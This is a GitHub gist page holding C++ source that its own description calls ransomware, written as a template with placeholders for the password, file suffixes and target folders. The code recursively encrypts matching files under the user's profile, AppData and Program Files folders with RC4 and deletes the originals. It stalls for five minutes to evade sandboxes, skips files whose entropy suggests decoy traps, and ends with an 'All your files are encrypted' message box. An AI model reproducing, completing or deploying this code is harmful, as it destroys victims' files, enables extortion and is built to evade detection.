Skip to content

Instantly share code, notes, and snippets.

@kaixinol
Last active June 8, 2024 08:55
Show Gist options
  • Save kaixinol/89e8b333a61388b204b7b5a6d972b309 to your computer and use it in GitHub Desktop.
Save kaixinol/89e8b333a61388b204b7b5a6d972b309 to your computer and use it in GitHub Desktop.
A ransomware program written in C++ that encrypts files with specified suffixes. It includes anti-sandbox and anti-trap features, environment variable replacement, folder traversal, file encryption using RC4, and entropy calculation to avoid encrypting certain files. Displays a message box upon completion.
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <sys/stat.h>
#include <string>
#include <vector>
#include <iostream>
#include <fstream>
#include <algorithm>
#include <windows.h>
#include <cmath>
#include <map>
using namespace std;
const char pw[] __attribute__((section("PASSWD"))) = #PASSWORD#;
const std::vector<std::string> suffixes = {#SUFFIES#};
const std::string encryptedSuffix = #ENCRYPTED_SUFFIX#;
const std::string password = #PASSWORD#;
const bool antiSandbox = #SANDBOX#;
const bool antiTrap = #TRAP#;
std::vector<std::string> rootDirectory = {#DIRECTORIES#};
double roundToDecimalPlaces(double value, int decimalPlaces)
{
double factor = std::pow(10.0, decimalPlaces);
return std::round(value * factor) / factor;
}
double calculateEntropy(const std::vector<unsigned char> &data)
{
std::map<unsigned char, int> frequencyMap;
// Calculate frequency distribution
for (unsigned char byte_ : data)
{
frequencyMap[byte_]++;
}
double totalBytes = data.size();
double entropy = 0.0;
// Calculate probability distribution and entropy
for (const auto &entry : frequencyMap)
{
double probability = entry.second / totalBytes;
entropy -= probability * log2(probability);
}
return entropy;
}
void initializeRC4(std::vector<unsigned char> &S, const std::vector<unsigned char> &key)
{
for (int i = 0; i < 256; ++i)
{
S[i] = static_cast<unsigned char>(i);
}
int j = 0;
for (int i = 0; i < 256; ++i)
{
j = (j + S[i] + key[i % key.size()]) % 256;
std::swap(S[i], S[j]);
}
}
void encryptWithRC4(std::vector<unsigned char> &data, const std::vector<unsigned char> &key)
{
std::vector<unsigned char> S(256);
initializeRC4(S, key);
int i = 0;
int j = 0;
for (unsigned char &byte_ : data)
{
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
byte_ ^= S[(S[i] + S[j]) % 256];
}
}
void encryptFileWithRC4(const std::string &inputFileName)
{
std::ifstream inputFile(inputFileName, std::ios::binary);
if (!inputFile.is_open())
{
std::cerr << "Failed to open input file." << std::endl;
return;
}
std::ofstream outputFile(inputFileName + encryptedSuffix, std::ios::binary);
if (!outputFile.is_open())
{
std::cerr << "Failed to open output file." << std::endl;
inputFile.close();
return;
}
std::vector<unsigned char> inputData(
(std::istreambuf_iterator<char>(inputFile)),
(std::istreambuf_iterator<char>()));
inputFile.close();
if (antiTrap)
{
double result=roundToDecimalPlaces(calculateEntropy(inputData), 2);
std::cout<<result;
if (result == 6.39)
{
return;
}
}
std::remove(inputFileName.c_str());
std::vector<unsigned char> keyData(password.begin(), password.end());
encryptWithRC4(inputData, keyData);
outputFile.write(reinterpret_cast<const char *>(inputData.data()), inputData.size());
outputFile.close();
}
bool isInList(const std::vector<std::string> &list, const std::string &value)
{
return std::find(list.begin(), list.end(), value) != list.end();
}
void searchFiles(const char *basePath)
{
WIN32_FIND_DATA findFileData;
string searchPath = string(basePath) + "\\*";
HANDLE hFind = FindFirstFile(searchPath.c_str(), &findFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
cerr << "Error opening directory" << endl;
return;
}
do
{
const string fileName = findFileData.cFileName;
if (fileName != "." && fileName != "..")
{
const string path = string(basePath) + "\\" + fileName;
const DWORD fileAttributes = GetFileAttributes(path.c_str());
if (fileAttributes != INVALID_FILE_ATTRIBUTES)
{
if (fileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
searchFiles(path.c_str());
}
else
{
const size_t dotPos = path.rfind('.');
if (dotPos != string::npos && isInList(suffixes, path.substr(dotPos)))
{
cout << path << endl;
encryptFileWithRC4(path);
}
}
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
void _Sleep(unsigned long milliseconds)
{
unsigned long start = GetTickCount();
while (GetTickCount() - start < milliseconds)
{
}
}
std::vector<std::string> ReplaceEnviron(const std::vector<std::string> &varList, const std::vector<std::string> &sList)
{
std::vector<std::string> ret;
for (const std::string &ss : sList)
{
std::string modifiedSs = ss;
for (const std::string &i : varList)
{
std::string upperVar = i;
std::transform(upperVar.begin(), upperVar.end(), upperVar.begin(), ::toupper);
char* envValue = nullptr;
size_t envSize = 0;
errno_t err = _dupenv_s(&envValue, &envSize, i.c_str());
if (err == 0 && envValue != nullptr)
{
size_t pos = modifiedSs.find("%" + upperVar + "%");
if (pos != std::string::npos)
{
modifiedSs.replace(pos, upperVar.length() + 2, envValue);
}
free(envValue); // Clean up allocated memory
}
}
ret.push_back(modifiedSs);
}
return ret;
}
int main() __attribute__((section("_")));
int main()
{
(void)pw;
std::vector<std::string> list={
"APPDATA", "HOMEDRIVE", "HOMEPATH", "LOCALAPPDATA",
"ProgramData", "ProgramFiles", "ProgramFiles(x86)",
"ProgramW6432", "TEMP", "USERPROFILE"
};
rootDirectory=ReplaceEnviron(list,rootDirectory);
if (antiSandbox)
_Sleep(1000 * 30 * 10);
for (std::string directory : rootDirectory)
{
searchFiles(directory.c_str());
}
MessageBoxW(NULL, L#MSG#, L"All your files are encrypted", MB_ICONWARNING | MB_OK);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment